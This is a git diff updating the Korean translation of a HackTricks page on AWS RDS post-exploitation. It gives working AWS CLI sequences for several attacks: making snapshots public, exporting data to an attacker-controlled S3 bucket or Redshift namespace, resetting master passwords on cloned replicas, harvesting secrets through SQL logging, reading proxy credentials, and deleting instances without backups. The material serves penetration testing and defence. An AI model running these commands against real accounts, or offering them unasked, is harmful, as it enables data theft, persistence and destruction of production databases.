mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-12 15:50:19 -08:00
Translated ['src/pentesting-cloud/gcp-security/gcp-privilege-escalation/
This commit is contained in:
@@ -4,7 +4,7 @@
|
||||
|
||||
## RDS
|
||||
|
||||
자세한 정보는 다음을 확인하세요:
|
||||
자세한 내용은 다음을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-relational-database-rds-enum.md
|
||||
@@ -12,7 +12,7 @@
|
||||
|
||||
### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance`
|
||||
|
||||
공격자가 충분한 권한을 가지고 있다면, DB의 스냅샷을 생성한 다음 그 스냅샷으로부터 **공개적으로 접근 가능한 DB**를 만들 수 있습니다.
|
||||
공격자가 충분한 권한을 가지고 있다면, DB의 snapshot을 생성한 다음 그 snapshot에서 **공개적으로 접근 가능한 DB**를 생성하여 DB를 공개 접근 가능하게 만들 수 있습니다.
|
||||
```bash
|
||||
aws rds describe-db-instances # Get DB identifier
|
||||
|
||||
@@ -39,7 +39,7 @@ aws rds modify-db-instance \
|
||||
# Connect to the new DB after a few mins
|
||||
```
|
||||
### `rds:StopDBCluster` & `rds:StopDBInstance`
|
||||
`rds:StopDBCluster` 또는 `rds:StopDBInstance` 권한을 가진 공격자는 RDS 인스턴스나 전체 클러스터를 즉시 중지시켜 데이터베이스 가용성 중단, 연결 끊김, 그리고 데이터베이스에 의존하는 프로세스들의 중단을 초래할 수 있습니다.
|
||||
rds:StopDBCluster 또는 rds:StopDBInstance 권한을 가진 공격자는 RDS 인스턴스나 전체 클러스터를 즉시 중지시켜 데이터베이스 접근 불가, 연결 끊김 및 데이터베이스에 의존하는 프로세스 중단을 초래할 수 있습니다.
|
||||
|
||||
단일 DB 인스턴스를 중지하는 예:
|
||||
```bash
|
||||
@@ -51,9 +51,37 @@ DB 클러스터 전체를 중지하려면 (예):
|
||||
aws rds stop-db-cluster \
|
||||
--db-cluster-identifier <DB_CLUSTER_IDENTIFIER>
|
||||
```
|
||||
### `rds:Modify*`
|
||||
rds:Modify* 권한을 부여받은 공격자는 인스턴스나 클러스터를 직접 건드리지 않고도 중요한 구성과 보조 리소스 (parameter groups, option groups, proxy endpoints and endpoint-groups, target groups, subnet groups, capacity settings, snapshot/cluster attributes, certificates, integrations, etc.)를 변경할 수 있다. 연결/타임아웃 파라미터 조정, proxy endpoint 변경, 어떤 certificates를 신뢰할지 수정, 논리적 용량 변경, subnet group 재구성과 같은 변경은 보안을 약화시켜(새로운 접근 경로를 열고), 라우팅 및 로드 밸런싱을 파괴하며, 복제/백업 정책을 무효화하고 전반적으로 가용성이나 복구성을 저하시킬 수 있다. 이러한 변경은 또한 간접적인 데이터 exfiltration을 용이하게 하거나 사고 후 데이터베이스의 정상적인 복구를 방해할 수 있다.
|
||||
|
||||
RDS subnet group에 할당된 subnets을 이동하거나 변경:
|
||||
```bash
|
||||
aws rds modify-db-subnet-group \
|
||||
--db-subnet-group-name <db-subnet-group-name> \
|
||||
--subnet-ids <subnet-id-1> <subnet-id-2>
|
||||
```
|
||||
클러스터 파라미터 그룹에서 저수준 엔진 매개변수를 변경합니다:
|
||||
```bash
|
||||
aws rds modify-db-cluster-parameter-group \
|
||||
--db-cluster-parameter-group-name <parameter-group-name> \
|
||||
--parameters "ParameterName=<parameter-name>,ParameterValue=<value>,ApplyMethod=immediate"
|
||||
```
|
||||
### `rds:Restore*`
|
||||
|
||||
rds:Restore* 권한이 있는 공격자는 스냅샷, 자동 백업, point-in-time recovery (PITR) 또는 S3에 저장된 파일로부터 전체 데이터베이스를 복원하여 선택한 시점의 데이터로 채워진 새로운 인스턴스나 클러스터를 생성할 수 있습니다. 이러한 작업은 원본 리소스를 덮어쓰지 않고 — 역사적 데이터를 포함한 새로운 객체를 생성하므로 — 공격자는 데이터베이스의 완전하고 동작하는 복사본(과거 시점에서의 또는 외부 S3 파일로부터의)을 얻어 exfiltrate data, 기록을 조작하거나 이전 상태를 재구성하는 데 사용할 수 있습니다.
|
||||
|
||||
DB 인스턴스를 특정 시점으로 복원:
|
||||
```bash
|
||||
aws rds restore-db-instance-to-point-in-time \
|
||||
--source-db-instance-identifier <source-db-instance-identifier> \
|
||||
--target-db-instance-identifier <target-db-instance-identifier> \
|
||||
--restore-time "<restore-time-ISO8601>" \
|
||||
--db-instance-class <db-instance-class> \
|
||||
--publicly-accessible --no-multi-az
|
||||
```
|
||||
### `rds:Delete*`
|
||||
|
||||
rds:Delete* 권한이 부여된 공격자는 RDS 리소스를 제거할 수 있으며, DB instances, clusters, snapshots, automated backups, subnet groups, parameter/option groups 및 관련 아티팩트를 삭제하여 즉각적인 서비스 중단, 데이터 손실, 복구 지점의 파괴 및 포렌식 증거의 손실을 초래할 수 있습니다.
|
||||
rds:Delete* 권한이 부여된 공격자는 RDS 리소스를 제거할 수 있으며, DB 인스턴스, 클러스터, 스냅샷, 자동 백업, 서브넷 그룹, 파라미터/옵션 그룹 및 관련 아티팩트를 삭제하여 즉각적인 서비스 중단, 데이터 손실, 복구 지점의 파괴 및 포렌식 증거 손실을 초래할 수 있습니다.
|
||||
```bash
|
||||
# Delete a DB instance (creates a final snapshot unless you skip it)
|
||||
aws rds delete-db-instance \
|
||||
@@ -76,9 +104,9 @@ aws rds delete-db-cluster \
|
||||
```
|
||||
### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot`
|
||||
|
||||
권한을 가진 공격자는 DB의 **스냅샷을 생성**하고 이를 **공개적으로** **사용 가능하게** 만들 수 있습니다. 그런 다음 자신의 계정에서 해당 스냅샷으로 DB를 생성할 수 있습니다.
|
||||
이 권한을 가진 공격자는 **DB의 snapshot을 생성**하고 이를 **공개적으로** **이용 가능**하게 만들 수 있습니다. 그런 다음 자신의 계정에서 해당 snapshot으로부터 DB를 생성할 수 있습니다.
|
||||
|
||||
공격자가 **`rds:CreateDBSnapshot` 권한이 없는 경우**, 그는 여전히 **다른** 생성된 스냅샷을 **공개**로 만들 수 있습니다.
|
||||
공격자가 **`rds:CreateDBSnapshot`** 권한이 없다면, 여전히 생성된 **다른** snapshot들을 **공개**할 수 있습니다.
|
||||
```bash
|
||||
# create snapshot
|
||||
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>
|
||||
@@ -89,11 +117,11 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --
|
||||
```
|
||||
### `rds:DownloadDBLogFilePortion`
|
||||
|
||||
`rds:DownloadDBLogFilePortion` 권한을 가진 공격자는 **RDS 인스턴스의 로그 파일 일부를 다운로드할 수 있습니다**. 민감한 데이터나 접근 자격 증명이 실수로 로그에 기록되어 있다면, 공격자는 이 정보를 이용해 권한을 상승시키거나 무단으로 작업을 수행할 수 있습니다.
|
||||
`rds:DownloadDBLogFilePortion` 권한을 가진 공격자는 **RDS 인스턴스의 로그 파일 일부를 다운로드할 수 있습니다**. 민감한 데이터나 접근 자격 증명이 실수로 로그에 남겨진 경우, 공격자는 이 정보를 이용해 권한을 상승시키거나 무단 작업을 수행할 수 있습니다.
|
||||
```bash
|
||||
aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
|
||||
```
|
||||
**잠재적 영향**: 민감한 정보에 접근하거나 leaked credentials을 사용한 무단 작업.
|
||||
**잠재적 영향**: leaked credentials를 사용하여 민감한 정보에 접근하거나 무단으로 조치를 취할 수 있습니다.
|
||||
|
||||
### `rds:DeleteDBInstance`
|
||||
|
||||
@@ -102,32 +130,32 @@ aws rds download-db-log-file-portion --db-instance-identifier target-instance --
|
||||
# Delete
|
||||
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
|
||||
```
|
||||
**잠재적 영향**: 기존 RDS 인스턴스의 삭제 및 데이터 손실 가능성.
|
||||
**잠재적 영향**: 기존 RDS 인스턴스 삭제 및 데이터 손실 가능성.
|
||||
|
||||
### `rds:StartExportTask`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: 테스트
|
||||
> TODO: Test
|
||||
|
||||
이 권한을 가진 공격자는 **RDS 인스턴스 스냅샷을 S3 버킷으로 내보낼 수 있습니다**. 공격자가 대상 S3 버킷을 제어할 수 있는 경우, 내보낸 스냅샷 내의 민감한 데이터에 접근할 수 있습니다.
|
||||
이 권한을 가진 공격자는 **RDS 인스턴스 스냅샷을 S3 버킷으로 내보낼 수 있습니다**. 공격자가 대상 S3 버킷을 제어할 수 있는 경우, 내보낸 스냅샷 내의 민감한 데이터에 접근할 가능성이 있습니다.
|
||||
```bash
|
||||
aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
|
||||
```
|
||||
**잠재적 영향**: 내보낸 스냅샷의 민감한 데이터에 대한 접근.
|
||||
**Potential impact**: 내보낸 스냅샷에서 민감한 데이터에 접근할 수 있음.
|
||||
|
||||
### Cross-Region Automated Backups Replication for Stealthy Restore (`rds:StartDBInstanceAutomatedBackupsReplication`)
|
||||
|
||||
Abuse cross-Region automated backups replication을 악용해 RDS 인스턴스의 자동 백업을 다른 AWS Region으로 조용히 복제하고 거기서 복원할 수 있습니다. 공격자는 복원된 DB를 공개적으로 접근 가능하게 만들고 마스터 비밀번호를 재설정하여 수비자가 모니터링하지 않을 수 있는 Region에서 오프밴드로 데이터를 접근할 수 있습니다.
|
||||
크로스-리전 자동 백업 복제를 악용하여 RDS 인스턴스의 자동 백업을 다른 AWS Region으로 조용히 복제하고 그곳에서 복원할 수 있습니다. 공격자는 복원된 DB를 공개적으로 노출시키고 마스터 비밀번호를 재설정해, 방어자가 모니터링하지 않는 Region에서 데이터를 빼낼 수 있습니다.
|
||||
|
||||
필요 권한(최소):
|
||||
- `rds:StartDBInstanceAutomatedBackupsReplication` in the destination Region
|
||||
- `rds:DescribeDBInstanceAutomatedBackups` in the destination Region
|
||||
- `rds:RestoreDBInstanceToPointInTime` in the destination Region
|
||||
- `rds:ModifyDBInstance` in the destination Region
|
||||
- `rds:StopDBInstanceAutomatedBackupsReplication` (optional cleanup)
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (to expose the restored DB)
|
||||
Permissions needed (minimum):
|
||||
- `rds:StartDBInstanceAutomatedBackupsReplication` (대상 Region에서)
|
||||
- `rds:DescribeDBInstanceAutomatedBackups` (대상 Region에서)
|
||||
- `rds:RestoreDBInstanceToPointInTime` (대상 Region에서)
|
||||
- `rds:ModifyDBInstance` (대상 Region에서)
|
||||
- `rds:StopDBInstanceAutomatedBackupsReplication` (선택적 정리)
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (복원된 DB를 노출하기 위해)
|
||||
|
||||
영향: Persistence 및 data exfiltration — production data의 사본을 다른 Region에 복원하고 공격자 제어 자격증명으로 공개 노출함.
|
||||
Impact: 프로덕션 데이터의 복사본을 다른 Region에 복원하고 공격자가 제어하는 자격증명으로 공개 노출하여 지속성 확보 및 데이터 유출을 가능하게 함.
|
||||
|
||||
<details>
|
||||
<summary>엔드투엔드 CLI (플레이스홀더 교체)</summary>
|
||||
@@ -199,26 +227,26 @@ aws rds stop-db-instance-automated-backups-replication \
|
||||
</details>
|
||||
|
||||
|
||||
### DB 파라미터 그룹을 통해 전체 SQL 로깅 활성화하고 RDS 로그 API로 exfiltrate
|
||||
### Enable full SQL logging via DB parameter groups and exfiltrate via RDS log APIs
|
||||
|
||||
`rds:ModifyDBParameterGroup` 권한을 남용하여 RDS 로그 다운로드 API로 애플리케이션에서 실행된 모든 SQL 문을 캡처할 수 있습니다 (DB 엔진 자격증명 불필요). 엔진 SQL 로깅을 활성화한 후 `rds:DescribeDBLogFiles`와 `rds:DownloadDBLogFilePortion`(또는 REST `downloadCompleteLogFile`)로 로그 파일을 내려받습니다. 비밀/PII/JWT를 포함할 수 있는 쿼리를 수집하는 데 유용합니다.
|
||||
`rds:ModifyDBParameterGroup`를 악용하여 RDS 로그 다운로드 API로 애플리케이션에서 실행되는 모든 SQL 문을 캡처할 수 있습니다(데이터베이스 엔진 자격 증명 불필요). 엔진의 SQL 로깅을 활성화한 뒤 `rds:DescribeDBLogFiles` 및 `rds:DownloadDBLogFilePortion`(또는 REST `downloadCompleteLogFile`)로 로그 파일을 가져옵니다. 비밀/PII/JWTs를 포함할 수 있는 쿼리를 수집하는 데 유용합니다.
|
||||
|
||||
Permissions needed (minimum):
|
||||
- `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion`
|
||||
- `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup`
|
||||
- `rds:ModifyDBInstance` (인스턴스가 기본 파라미터 그룹을 사용하는 경우 사용자 정의 파라미터 그룹을 연결하기 위한 용도만)
|
||||
- `rds:RebootDBInstance` (재부팅이 필요한 파라미터용, 예: PostgreSQL)
|
||||
- `rds:ModifyDBInstance` (인스턴스가 기본 파라미터 그룹을 사용 중인 경우 커스텀 parameter group을 연결하기 위해서만)
|
||||
- `rds:RebootDBInstance` (재부팅이 필요한 파라미터의 경우, 예: PostgreSQL)
|
||||
|
||||
Steps
|
||||
1) Recon target and current parameter group
|
||||
1) Recon 대상 및 현재 parameter group 확인
|
||||
```bash
|
||||
aws rds describe-db-instances \
|
||||
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \
|
||||
--output table
|
||||
```
|
||||
2) custom DB parameter group이 연결되어 있는지 확인하세요 (default는 편집할 수 없습니다)
|
||||
- 인스턴스가 이미 custom group을 사용 중이면 다음 단계에서 해당 이름을 재사용하세요.
|
||||
- 그렇지 않으면 engine family에 맞는 것을 생성하여 연결하세요:
|
||||
2) 사용자 지정 DB 파라미터 그룹이 연결되어 있는지 확인하세요(기본 그룹은 편집할 수 없음)
|
||||
- 인스턴스가 이미 사용자 지정 그룹을 사용 중이면 다음 단계에서 해당 이름을 재사용하세요.
|
||||
- 그렇지 않으면 엔진 패밀리에 맞는 그룹을 생성하고 연결하세요:
|
||||
```bash
|
||||
# Example for PostgreSQL 16
|
||||
aws rds create-db-parameter-group \
|
||||
@@ -233,7 +261,7 @@ aws rds modify-db-instance \
|
||||
# Wait until status becomes "available"
|
||||
```
|
||||
3) 자세한 SQL 로깅 활성화
|
||||
- MySQL engines (즉시 / 재부팅 불필요):
|
||||
- MySQL 엔진 (즉시 / 재부팅 불필요):
|
||||
```bash
|
||||
aws rds modify-db-parameter-group \
|
||||
--db-parameter-group-name <PGNAME> \
|
||||
@@ -256,11 +284,11 @@ aws rds modify-db-parameter-group \
|
||||
# Reboot if any parameter is pending-reboot
|
||||
aws rds reboot-db-instance --db-instance-identifier <DB>
|
||||
```
|
||||
4) 워크로드를 실행시키거나 쿼리를 생성하세요. 명령문은 엔진 파일 로그에 기록됩니다
|
||||
4) 워크로드를 실행(또는 쿼리를 생성)합니다. 명령문은 엔진 파일 로그에 기록됩니다
|
||||
- MySQL: `general/mysql-general.log`
|
||||
- PostgreSQL: `postgresql.log`
|
||||
|
||||
5) 로그를 찾아 다운로드하세요 (DB 자격증명 불필요)
|
||||
5) 로그를 찾아 다운로드합니다(데이터베이스 자격 증명 불필요)
|
||||
```bash
|
||||
aws rds describe-db-log-files --db-instance-identifier <DB>
|
||||
|
||||
@@ -271,7 +299,7 @@ aws rds download-db-log-file-portion \
|
||||
--starting-token 0 \
|
||||
--output text > dump.log
|
||||
```
|
||||
6) 민감한 데이터에 대해 오프라인으로 분석
|
||||
6) 오프라인에서 민감한 데이터 분석
|
||||
```bash
|
||||
grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | sed 's/\(aws_access_key_id=\)[A-Z0-9]*/\1AKIA.../; s/\(secret=\).*/\1REDACTED/; s/\(Bearer \).*/\1REDACTED/' | head
|
||||
```
|
||||
@@ -282,7 +310,7 @@ grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | s
|
||||
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('aws_access_key_id=AKIA... secret=REDACTED')
|
||||
```
|
||||
정리
|
||||
- 파라미터를 기본값으로 되돌리고 필요시 재부팅:
|
||||
- 파라미터를 기본값으로 되돌리고 필요하면 재부팅하세요:
|
||||
```bash
|
||||
# MySQL
|
||||
aws rds modify-db-parameter-group \
|
||||
@@ -297,19 +325,19 @@ aws rds modify-db-parameter-group \
|
||||
"ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot"
|
||||
# Reboot if pending-reboot
|
||||
```
|
||||
영향: Post-exploitation 동안 AWS APIs를 통해 모든 애플리케이션 SQL 명령문을 캡처하여 데이터에 접근할 수 있으며 (no DB creds), 잠재적으로 secrets, JWTs, and PII가 leak될 수 있음.
|
||||
영향: Post-exploitation 데이터 접근 — AWS APIs를 통해 모든 애플리케이션 SQL 문장을 캡처하여 (DB 자격증명 없음), potentially leaking secrets, JWTs, and PII.
|
||||
|
||||
### `rds:CreateDBInstanceReadReplica`, `rds:ModifyDBInstance`
|
||||
|
||||
RDS 읽기 복제본을 악용하여 주 인스턴스의 자격증명을 건드리지 않고도 외부 경로로 읽기 접근 권한을 얻을 수 있습니다. 공격자는 운영 인스턴스에서 읽기 복제본을 생성하고, 복제본의 master 비밀번호를 재설정할 수 있습니다(이 조치는 primary를 변경하지 않음). 또한 선택적으로 복제본을 공개적으로 노출시켜 데이터를 exfiltrate할 수 있습니다.
|
||||
RDS read replicas를 악용하여 primary instance 자격증명을 건드리지 않고 out-of-band read access를 얻을 수 있습니다. 공격자는 production 인스턴스에서 read replica를 생성하고, replica의 master password를 재설정할 수 있습니다(이는 primary를 변경하지 않음). 또한 선택적으로 replica를 공개적으로 노출하여 exfiltrate data할 수 있습니다.
|
||||
|
||||
Permissions needed (minimum):
|
||||
필요한 권한(최소):
|
||||
- `rds:DescribeDBInstances`
|
||||
- `rds:CreateDBInstanceReadReplica`
|
||||
- `rds:ModifyDBInstance`
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (공개 노출 시 필요)
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (if exposing publicly)
|
||||
|
||||
영향: 공격자가 제어하는 자격증명을 가진 복제본을 통해 production 데이터에 대한 읽기 전용 접근 권한을 얻을 수 있으며; primary는 건드려지지 않고 복제가 계속되므로 탐지 가능성이 낮아짐.
|
||||
영향: 공격자가 제어하는 자격증명을 가진 replica를 통해 production 데이터에 대한 읽기 전용 접근; primary가 건드려지지 않고 replication이 계속되므로 탐지 가능성이 낮습니다.
|
||||
```bash
|
||||
# 1) Recon: find non-Aurora sources with backups enabled
|
||||
aws rds describe-db-instances \
|
||||
@@ -340,13 +368,13 @@ REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier <REPL_ID>
|
||||
# Optional: promote for persistence
|
||||
# aws rds promote-read-replica --db-instance-identifier <REPL_ID>
|
||||
```
|
||||
예시 증거 (MySQL):
|
||||
- 복제 DB 상태: `available`, read replication: `replicating`
|
||||
- 새 비밀번호로의 성공적인 연결 및 `@@read_only=1`으로 읽기 전용 복제본 접근이 확인됨.
|
||||
Example evidence (MySQL):
|
||||
- 복제 DB 상태: `available`, 읽기 복제: `replicating`
|
||||
- 새 비밀번호로의 성공적인 연결 및 `@@read_only=1` 로 읽기 전용 복제본 접근이 확인됨.
|
||||
|
||||
### `rds:CreateBlueGreenDeployment`, `rds:ModifyDBInstance`
|
||||
|
||||
RDS Blue/Green를 악용하여 운영 DB를 지속적으로 복제되는 읽기 전용 green 환경으로 클론합니다. 그런 다음 green 마스터 자격 증명을 재설정하여 blue (prod) 인스턴스를 건드리지 않고 데이터를 액세스합니다. 이는 스냅샷 공유보다 은밀하며 종종 소스만을 대상으로 하는 모니터링을 우회합니다.
|
||||
RDS Blue/Green를 악용하여 운영 DB를 지속적으로 복제되는 읽기 전용 green 환경으로 클론합니다. 그런 다음 green 마스터 자격 증명을 재설정하여 blue (prod) 인스턴스를 건드리지 않고 데이터를 접근합니다. 이는 스냅샷 공유보다 은밀하며 종종 소스만을 모니터링하는 감시를 우회합니다.
|
||||
```bash
|
||||
# 1) Recon – find eligible source (non‑Aurora MySQL/PostgreSQL in the same account)
|
||||
aws rds describe-db-instances \
|
||||
@@ -393,22 +421,22 @@ aws rds delete-blue-green-deployment \
|
||||
--blue-green-deployment-identifier <BGD_ID> \
|
||||
--delete-target true
|
||||
```
|
||||
영향: 읽기 전용이지만 프로덕션 인스턴스를 수정하지 않고 프로덕션의 거의 실시간 클론에 대한 전체 데이터 접근이 가능합니다. 은밀한 데이터 추출 및 오프라인 분석에 유용합니다.
|
||||
영향: 읽기 전용이지만 프로덕션 인스턴스를 수정하지 않고 거의 실시간에 가까운 프로덕션 복제본의 전체 데이터에 접근 가능. 은밀한 데이터 추출과 오프라인 분석에 유용함.
|
||||
|
||||
|
||||
### Out-of-band SQL via RDS Data API by enabling HTTP endpoint + resetting master password
|
||||
|
||||
Aurora를 악용해 타깃 클러스터에서 RDS Data API HTTP endpoint를 활성화하고, 마스터 비밀번호를 공격자가 제어하는 값으로 재설정한 뒤 HTTPS를 통해 SQL을 실행합니다(직접적인 VPC 네트워크 경로 불필요). Data API/EnableHttpEndpoint를 지원하는 Aurora 엔진에서 작동합니다(예: Aurora MySQL 8.0 provisioned; 일부 Aurora PostgreSQL/MySQL 버전).
|
||||
Aurora를 악용하여 대상 클러스터에서 RDS Data API HTTP endpoint를 활성화하고, master password를 본인이 제어하는 값으로 재설정한 다음 HTTPS를 통해 SQL을 실행합니다(직접적인 VPC 네트워크 경로 불필요). Data API/EnableHttpEndpoint를 지원하는 Aurora 엔진에서 작동합니다(예: Aurora MySQL 8.0 provisioned; 일부 Aurora PostgreSQL/MySQL 버전).
|
||||
|
||||
Permissions (minimum):
|
||||
- rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint)
|
||||
- secretsmanager:CreateSecret
|
||||
- rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used)
|
||||
|
||||
영향: 네트워크 분할을 우회하고 DB에 대한 직접적인 VPC 연결 없이 AWS APIs를 통해 데이터를 유출(exfiltrate)할 수 있음.
|
||||
영향: 네트워크 segmentation을 우회하고 DB에 대한 직접적인 VPC 연결 없이 AWS APIs를 통해 데이터를 exfiltrate할 수 있음.
|
||||
|
||||
<details>
|
||||
<summary>엔드-투-엔드 CLI (Aurora MySQL 예시)</summary>
|
||||
<summary>End-to-end CLI (Aurora MySQL example)</summary>
|
||||
```bash
|
||||
# 1) Identify target cluster ARN
|
||||
REGION=us-east-1
|
||||
@@ -466,11 +494,11 @@ aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
|
||||
- Ensure the engine/version actually supports the Data API; otherwise HttpEndpointEnabled will remain False.
|
||||
|
||||
|
||||
### RDS Proxy 인증 secret을 통한 DB 자격 증명 수집 (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
|
||||
### RDS Proxy 인증 비밀을 통해 DB 자격 증명 수집 (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
|
||||
|
||||
RDS Proxy 구성을 악용하여 백엔드 인증에 사용되는 Secrets Manager secret을 찾아낸 다음, 해당 secret을 읽어 데이터베이스 자격 증명을 얻습니다. 많은 환경이 광범위한 `secretsmanager:GetSecretValue` 권한을 부여하여, 이는 DB 자격 증명으로의 낮은 마찰 전환 경로가 됩니다. secret이 CMK를 사용하는 경우, 잘못 범위 지정된 KMS 권한으로 `kms:Decrypt`도 허용될 수 있습니다.
|
||||
RDS Proxy 구성을 악용하여 백엔드 인증에 사용되는 Secrets Manager의 secret을 찾아낸 다음, 그 secret을 읽어 데이터베이스 자격 증명을 얻습니다. 많은 환경에서 광범위한 `secretsmanager:GetSecretValue` 권한을 부여하고 있어, DB creds로의 진입이 용이합니다. 만약 secret이 CMK를 사용한다면, 잘못 범위 지정된 KMS 권한이 `kms:Decrypt`도 허용할 수 있습니다.
|
||||
|
||||
Permissions needed (minimum):
|
||||
필요 권한(최소):
|
||||
- `rds:DescribeDBProxies`
|
||||
- `secretsmanager:GetSecretValue` on the referenced SecretArn
|
||||
- Optional when the secret uses a CMK: `kms:Decrypt` on that key
|
||||
@@ -509,24 +537,24 @@ aws rds create-db-proxy --db-proxy-name p0 --engine-family MYSQL \
|
||||
aws rds wait db-proxy-available --db-proxy-name p0
|
||||
# Now run the enumeration + secret read from the Steps above
|
||||
```
|
||||
정리 (실습)
|
||||
정리 (lab)
|
||||
```bash
|
||||
aws rds delete-db-proxy --db-proxy-name p0
|
||||
aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite
|
||||
aws iam delete-role --role-name rds-proxy-secret-role
|
||||
aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delete-without-recovery
|
||||
```
|
||||
### Aurora zero‑ETL를 통한 Amazon Redshift로의 은밀한 지속적 데이터 유출 (rds:CreateIntegration)
|
||||
### 은밀한 지속적 exfiltration — Aurora zero‑ETL을 통해 Amazon Redshift로 (rds:CreateIntegration)
|
||||
|
||||
Aurora PostgreSQL zero‑ETL 통합을 악용하여 운영 데이터를 공격자가 제어하는 Redshift Serverless namespace로 지속적으로 복제할 수 있습니다. 특정 Aurora cluster ARN에 대해 CreateInboundIntegration/AuthorizeInboundIntegration을 허용하는 넉넉한 Redshift 리소스 정책이 있으면, 공격자는 DB creds, snapshots 또는 네트워크 노출 없이 거의 실시간 데이터 복사본을 생성할 수 있습니다.
|
||||
Aurora PostgreSQL zero‑ETL integration을 악용하여 운영 데이터를 공격자가 제어하는 Redshift Serverless 네임스페이스로 지속적으로 복제합니다. 특정 Aurora cluster ARN에 대해 CreateInboundIntegration/AuthorizeInboundIntegration를 허용하는 관대한 Redshift resource policy가 있으면, 공격자는 DB creds, snapshots 또는 네트워크 노출 없이 거의 실시간으로 데이터 복사본을 만들 수 있습니다.
|
||||
|
||||
Permissions needed (minimum):
|
||||
필요 권한(최소):
|
||||
- `rds:CreateIntegration`, `rds:DescribeIntegrations`, `rds:DeleteIntegration`
|
||||
- `redshift:PutResourcePolicy`, `redshift:DescribeInboundIntegrations`, `redshift:DescribeIntegrations`
|
||||
- `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (쿼리용)
|
||||
- `rds-data:ExecuteStatement` (선택; 필요시 데이터 주입용)
|
||||
- `rds-data:ExecuteStatement` (선택 사항; 필요 시 데이터 시드용)
|
||||
|
||||
Tested on: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.
|
||||
테스트 환경: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.
|
||||
|
||||
<details>
|
||||
<summary>1) Redshift Serverless namespace + workgroup 생성</summary>
|
||||
@@ -576,7 +604,7 @@ aws redshift put-resource-policy --region $REGION --resource-arn "$RS_NS_ARN" --
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>3) Aurora PostgreSQL 클러스터 생성 (Data API 및 논리적 복제 활성화)</summary>
|
||||
<summary>3) Aurora PostgreSQL 클러스터 생성 (Data API 및 logical replication 활성화)</summary>
|
||||
```bash
|
||||
CLUSTER_ID=aurora-ztl
|
||||
aws rds create-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
|
||||
@@ -607,7 +635,7 @@ SRC_ARN=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>4) RDS에서 zero‑ETL integration 생성</summary>
|
||||
<summary>4) RDS에서 zero‑ETL 통합 생성</summary>
|
||||
```bash
|
||||
# Include all tables in the default 'postgres' database
|
||||
aws rds create-integration --region $REGION --source-arn "$SRC_ARN" \
|
||||
@@ -619,7 +647,7 @@ aws redshift describe-inbound-integrations --region $REGION --target-arn "$RS_NS
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>5) Redshift에서 복제된 데이터를 실체화하고 쿼리하기</summary>
|
||||
<summary>5) Redshift에서 복제된 데이터를 물리화하고 쿼리하기</summary>
|
||||
```bash
|
||||
# Create a Redshift database from the inbound integration (use integration_id from SVV_INTEGRATION)
|
||||
aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \
|
||||
@@ -634,10 +662,9 @@ aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --d
|
||||
|
||||
테스트에서 관찰된 증거:
|
||||
- redshift describe-inbound-integrations: Status ACTIVE for Integration arn:...377a462b-...
|
||||
- SVV_INTEGRATION은 integration_id 377a462b-c42c-4f08-937b-77fe75d98211 및 state PendingDbConnectState를 DB 생성 이전에 표시했습니다.
|
||||
- CREATE DATABASE FROM INTEGRATION 이후, 테이블 목록을 확인하니 스키마 ztl과 테이블 customers가 나타났고; ztl.customers를 조회하니 2행(Alice, Bob)을 반환했습니다.
|
||||
|
||||
영향: 공격자가 제어하는 Redshift Serverless로 선택된 Aurora PostgreSQL 테이블을 소스 클러스터의 데이터베이스 자격 증명, 백업 또는 네트워크 접근을 사용하지 않고 연속적이고 거의 실시간으로 exfiltration할 수 있음.
|
||||
- SVV_INTEGRATION은 integration_id 377a462b-c42c-4f08-937b-77fe75d98211과 상태 PendingDbConnectState를 DB 생성 이전에 보여주었습니다.
|
||||
